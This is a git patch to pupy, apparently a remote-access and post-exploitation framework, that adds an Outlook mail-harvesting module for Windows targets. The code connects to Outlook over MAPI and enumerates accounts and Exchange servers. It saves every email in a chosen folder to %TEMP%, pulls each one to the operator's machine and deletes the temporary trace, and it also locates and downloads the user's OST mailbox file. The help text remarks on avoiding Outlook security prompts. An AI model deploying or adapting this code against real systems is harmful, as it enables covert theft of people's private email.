From 78e90fac4ba2e35250941299939175c2f5963a5b Mon Sep 17 00:00:00 2001 From: quentinhardy Date: Mon, 3 Oct 2016 09:35:04 -0400 Subject: [PATCH] Outlook module as a package (better performances) --- pupy/modules/outlook.py | 90 +++++++---- pupy/packages/windows/all/outlook.py | 221 +++++++++++++++++++++++++++ 2 files changed, 278 insertions(+), 33 deletions(-) create mode 100644 pupy/packages/windows/all/outlook.py diff --git a/pupy/modules/outlook.py b/pupy/modules/outlook.py index 23381341..e4c84c38 100644 --- a/pupy/modules/outlook.py +++ b/pupy/modules/outlook.py @@ -4,8 +4,8 @@ import os from pupylib.PupyModule import * -from rpyc.utils.classic import upload -from modules.lib.windows.outlook import outlook +from rpyc.utils.classic import download +from pupylib.utils.term import colorize __class_name__="Outlook" ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..","..")) @@ -15,6 +15,10 @@ class Outlook(PupyModule): ''' ''' dependencies=["win32api","win32com","pythoncom","winerror"] + + OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8} + OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5} + def init_argparse(self): ''' ''' @@ -23,57 +27,77 @@ class Outlook(PupyModule): self.arg_parser.add_argument('-l', dest='foldersAndSubFolders', action='store_true', help="Get Outlook folders and subfolders") self.arg_parser.add_argument('-n', dest='numberOfEmails', action='store_true', help="Get number of emails stored in the outlook folder choisen (see options below)") self.arg_parser.add_argument('-d', dest='downloadAllEmails', action='store_true', help="Download all emails stored in the outlook folder choisen with MAPI (see options below)") - self.arg_parser.add_argument('-t', dest='doawnloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)") + self.arg_parser.add_argument('-t', dest='downloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)") self.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help="Folder which will contain emails locally (default: %(default)s)") - self.arg_parser.add_argument('-folder-default', choices=list(outlook.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)") + self.arg_parser.add_argument('-folder-default', choices=list(self.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)") self.arg_parser.add_argument('-folder-id', dest='folderId', default=None, help="Choose Outlook Folder using a folder ID (default: %(default)s)") - self.arg_parser.add_argument('-otype', choices=list(outlook.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)") + self.arg_parser.add_argument('-otype', choices=list(self.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)") def run(self, args): ''' ''' - try: - self.client.conn.modules['win32com.client'].Dispatch("Outlook.Application").GetNamespace("MAPI") - self.success("Outlook application seems to be installed on the target") - except Exception,e: - logging.info("Outlook Application is probably not installed on this target. Impossible to continue...\n{0}".format(repr(e))) + self.client.load_package("outlook") + localFolder=args.localOutputFolder + self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.client.desc['hostname'].encode('utf-8'), self.client.desc['user'].encode('utf-8'), self.client.desc['macaddr'].encode('utf-8').replace(':',''))) + if not os.path.exists(self.localFolder): + logging.debug("Creating the {0} folder locally".format(self.localFolder)) + os.makedirs(self.localFolder) + if args.folderId != None: + self.warning('Notice the folder Id option will be used and the default folder option will be disabled') + outlook = self.client.conn.modules['outlook'].outlook(folderIndex=self.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType) + if args.downloadOST == True: + self.success("Trying to download Outlook OST file of the targeted current user") + paths = outlook.getPathToOSTFiles() + if len(paths)>0: + localPath = os.path.join(self.localFolder, ''.join(l for l in paths[0][0].encode('ascii','ignore') if l.isalnum())) + self.success("Downloading the file {0} to {1}...".format(paths[0][1], localPath)) + download(self.client.conn, paths[0][1], localPath) + self.success("OST file downloaded from {0} to {1}".format(paths[0][1], localPath)) + else: + self.error("OST file not found or an error occured") + if outlook.outlookIsInstalled() == True: + self.success("Outlook application seems to be installed on the target, trying to connect to MAPI...") + if outlook.connect() == True: + self.success("Connected to outlook application trough MAPI") + else: + self.error("Impossible to connect to outlook application trough MAPI. Abording!") + return + else: self.error("Outlook application doesn't seem to be installed on the target. Nothing to do. Cancelling!") return if args.information == True: - outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder]) - info = outl.getInformation() + info = outlook.getInformation() for key, value in info.iteritems(): self.success("{0}: {1}".format(key, value)) - outl.close() - if args.folderId != None: - self.warning('Notice the folder Id option will be used and the default folder option will be disabled') if args.foldersAndSubFolders == True: self.success("Outlook folders and subfolders:") - outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder]) - outl.printFoldersAndSubFolders() - outl.close() + foldersAndSubFolders = outlook.getAllFolders() + for i,folder in enumerate(foldersAndSubFolders): + print "{0}: {1}".format(i, folder.encode('utf-8')) + for j,subFolder in enumerate(foldersAndSubFolders[folder]): + print " {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8')) if args.numberOfEmails == True: self.success("Trying to get number of emails in the {0} folder".format(args.outlookFolder)) - outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId) - self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, outl.getNbOfEmails())) - outl.close() + nb = outlook.getNbOfEmails() + self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, nb)) if args.downloadAllEmails == True: self.success("Trying to download all emails stored in the {0} folder".format(args.outlookFolder)) - outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType) - nb = outl.getNbOfEmails() + nb = outlook.getNbOfEmails() if nb == 0: self.error("This box is empty. You should choose another outlook folder") else: self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder)) self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.") self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)") - outl.downloadAllEmails() - outl.close() - if args.doawnloadOST == True: - outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], autoConnectToMAPI=False) - self.success("Trying to download Outlook OST file of the targeted current user") - path = outl.downloadOSTFile() - if path == None: - self.error("OST file not found or an error occured") - else: - self.success("OST file downloaded from {0} to {1}".format(path, outl.localFolder)) + logging.debug("Downloading all emails") + for i, anEmail in enumerate(outlook.getEmails()): + aPathToMailFile, filename = outlook.getAMailFile(anEmail) + sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,outlook.getNbOfEmails(), colorize("[+] ","green"))) + sys.stdout.flush() + localPathToFile = os.path.join(self.localFolder, filename) + logging.debug("Downloading the file {0} to {1}".format(aPathToMailFile, localPathToFile)) + download(self.client.conn, aPathToMailFile, localPathToFile) + logging.debug("Deleting {0}".format(aPathToMailFile)) + outlook.deleteTempMailFile(aPathToMailFile) + print "\n" + outlook.close() diff --git a/pupy/packages/windows/all/outlook.py b/pupy/packages/windows/all/outlook.py new file mode 100644 index 00000000..e9f862de --- /dev/null +++ b/pupy/packages/windows/all/outlook.py @@ -0,0 +1,221 @@ +# -*- coding: UTF8 -*- +#Author: @bobsecq +#Contributor(s): + +import os, logging, sys, time +from collections import OrderedDict +import win32com +import win32com.client +import glob + +class outlook(): + ''' + ''' + + OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8} + OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5} + OL_ACCOUNT_TYPES = {4:'olEas',0:'olExchange',3:'olHttp',1:'olImap',5:'olOtherAccount',2:'olPop3'} + OL_EXCHANGE_CONNECTION_MODE = {100:'olOffline',500:'olOnline',200:'olDisconnected',300:'olConnectedHeaders',400:'olConnected',0:'olNoExchange'} + + def __init__(self, folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG'): + ''' + ''' + self.outlook = None + self.mapi = None + self.foldersAndSubFolders = None + self.folderId = folderId + self.folderIndex = folderIndex + self.msgSaveType = msgSaveType + self.inbox = None + self.constants = None + self.sleepTime = sleepTime + self.remoteTempFolder = os.path.expandvars("%TEMP%") + + def outlookIsInstalled(self): + ''' + returns True if Outlook is installed + otherwise returns False + ''' + try: + win32com.client.Dispatch("Outlook.Application").GetNamespace("MAPI") + return True + except Exception,e: + return False + + + def connect(self): + ''' + Returns True if no error + Otherise returns False + ''' + try: + self.outlook = win32com.client.Dispatch("Outlook.Application") + #self.outlook = win32com.client.gencache.EnsureDispatch("Outlook.Application") + self.mapi = self.outlook.GetNamespace("MAPI") + if self.folderId == None : self.setDefaultFolder(folderIndex=self.folderIndex) + else : self.setFolderFromId(folderId=self.folderId) + return True + except Exception,e: + return False + + def close(self): + ''' + ''' + logging.debug("Closing Outlook link...") + self.outlook.Quit() + + def getInformation(self): + ''' + Returns Dictionnary + ''' + info = OrderedDict() + info['CurrentProfileName']=self.mapi.CurrentProfileName + #info['CurrentUserAddress']=repr(self.mapi.CurrentUser) #Needs to be authenticiated to remote mail server. Otherwise, infinite timeout + info['SessionType']=self.outlook.Session.Type + for i, anAccount in enumerate(self.outlook.Session.Accounts): + info['Account{0}-DisplayName'.format(i)]=anAccount.DisplayName + info['Account{0}-SmtpAddress'.format(i)]=anAccount.SmtpAddress + info['Account{0}-AutoDiscoverXml'.format(i)]=anAccount.AutoDiscoverXml + info['Account{0}-AccountType'.format(i)]=self.OL_ACCOUNT_TYPES[anAccount.AccountType] + #info['Account{0}-UserName'.format(i)]=anAccount.UserName #Needs to be authenticiated to remote mail server. Otherwise, infinite timeout + info['ExchangeMailboxServerName']=self.mapi.ExchangeMailboxServerName #Returns a String value that represents the name of the Exchange server that hosts the primary Exchange account mailbox. + info['ExchangeMailboxServerVersion']=self.mapi.ExchangeMailboxServerVersion #Returns a String value that represents the full version number of the Exchange server that hosts the primary Exchange account mailbox. + info['Offline']=self.mapi.Offline #Returns a Boolean indicating True if Outlook is offline (not connected to an Exchange server), and False if online (connected to an Exchange server) + info['ExchangeConnectionMode']=self.OL_EXCHANGE_CONNECTION_MODE[self.mapi.ExchangeConnectionMode] + self.mapi.SendAndReceive(True) + print repr(self.mapi) + return info + + + def __getOlDefaultFoldersNameFromIndex__(self, folderIndex): + ''' + Return None if folderIndex not found in OlDefaultFolders + Otherwise returns Name of the folder + ''' + found = False + for k in self.OL_DEFAULT_FOLDERS: + if self.OL_DEFAULT_FOLDERS[k] == folderIndex: + return k + return "" + + def setDefaultFolder(self, folderIndex=None): + ''' + See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex + Return True if done + Otherwise returns False + ''' + if folderIndex == None: + folderIndex = self.OL_DEFAULT_FOLDERS['olFolderInbox'] + folderName = self.__getOlDefaultFoldersNameFromIndex__(folderIndex) + if folderName == None: + logging.warning('Impossible to move the default folder to {0}. This folder index is not in {1}'.format(folderIndex, self.OL_DEFAULT_FOLDERS)) + return False + else: + logging.debug("Moving outlook default folder to {0}".format(folderName)) + self.inbox = self.mapi.GetDefaultFolder(folderIndex) + return True + + def setFolderFromId(self, folderId): + ''' + See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex + Return True if done + Otherwise returns False + ''' + if folderId == None: + logging.error("Impossible to set Outlook folder to None") + return False + else: + logging.debug("Moving outlook default folder to {0}".format(folderId)) + self.inbox = self.mapi.GetFolderFromID(folderId) + return True + + def getEmails(self): + ''' + Returns a list which contains all mailitems + ''' + emails = [] + logging.debug("Getting {0} emails...".format(self.getNbOfEmails())) + for anEmail in self.inbox.Items: + emails.append(anEmail) + return emails + + def getAMailFile(self, mailItem): + ''' + return pathToAMailFileOnTarget, nameOftheMailFile + ''' + ctime, subjectCleaned, receivedTime, path, filename = str(time.time()).replace('.',''), "Unknown", "Unknown", "", "" + try: + subjectCleaned = ''.join(l for l in mailItem.Subject.encode('ascii','ignore') if l.isalnum()) + receivedTime = str(mailItem.ReceivedTime).replace('/','').replace('\\','').replace(':','-').replace(' ','_') + except Exception,e: + logging.warning("Impossible to encode email subject or receivedTime:{0}".format(repr(e))) + filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime, subjectCleaned[:100], 'msg') + path = os.path.join(self.remoteTempFolder,filename) + logging.debug('Saving temporarily the email on the remote path {0}'.format(path)) + #mailItem.SaveAs(path, self.OL_SAVE_AS_TYPE['olMSG']) + mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType]) + try: + os.rename(path, path) #test if the file is not opened by another process + except OSError as e: + time.sleep(self.sleepTime) + return path, filename + + + def deleteTempMailFile(self,path): + ''' + ''' + os.remove(path) + + """ + def getAllSubjects(self): + ''' + ''' + subjects = [] + logging.debug("Getting subjects of {0} emails...".format(self.getNbOfEmails())) + for anEmail in self.inbox.Items: + subjects.append(anEmail.Subject) + return subjects + """ + + def getNbOfEmails(self): + ''' + ''' + #nc = self.inbox.Count + nb = len(self.inbox.Items) + logging.debug("Getting number of emails... {0} emails".format(nb)) + return nb + + def getAllFolders(self): + ''' + ''' + folders = {} + for inx, folder in enumerate(list(self.mapi.Folders)): + logging.debug("New folder: {0}({1})".format(folder.Name, folder.EntryID)) + folders[folder.Name] = {} + if "Dossiers publics" not in folder.Name and "Public folders" not in folder.Name: #Bug in my version of outlook when getting emails in public folder + for inx,subfolder in enumerate(list(folder.Folders)): + logging.debug("{0}->{1} ({2})".format(inx, subfolder.Name.encode('utf-8'), subfolder.EntryID)) + folders[folder.Name][subfolder.Name]=subfolder.EntryID + return folders + + + def getPathToOSTFiles(self): + ''' + According to https://support.office.com/en-us/article/Locating-the-Outlook-data-files-0996ece3-57c6-49bc-977b-0d1892e2aacc + ''' + paths = [] + DEFAULT_LOCATIONS_OST = [":\Users\\AppData\Local\Microsoft\Outlook", + ":\Documents and Settings\\Local Settings\Application Data\Microsoft\Outlook" + ] + systemDrive = os.getenv("SystemDrive") + login = os.getenv("username") + for aLocationOST in DEFAULT_LOCATIONS_OST : + completeLocationOST = aLocationOST.replace("",systemDrive[:-1]).replace("",login) + regex = os.path.join(completeLocationOST,"*.ost") + logging.debug('Searching OST file in {0}'.format(regex)) + files = glob.glob(regex) + for aFile in files: + ostFileFound = os.path.join(completeLocationOST,aFile) + logging.info('OST file found in {0}'.format(ostFileFound)) + paths.append([os.path.basename(aFile), ostFileFound]) + return paths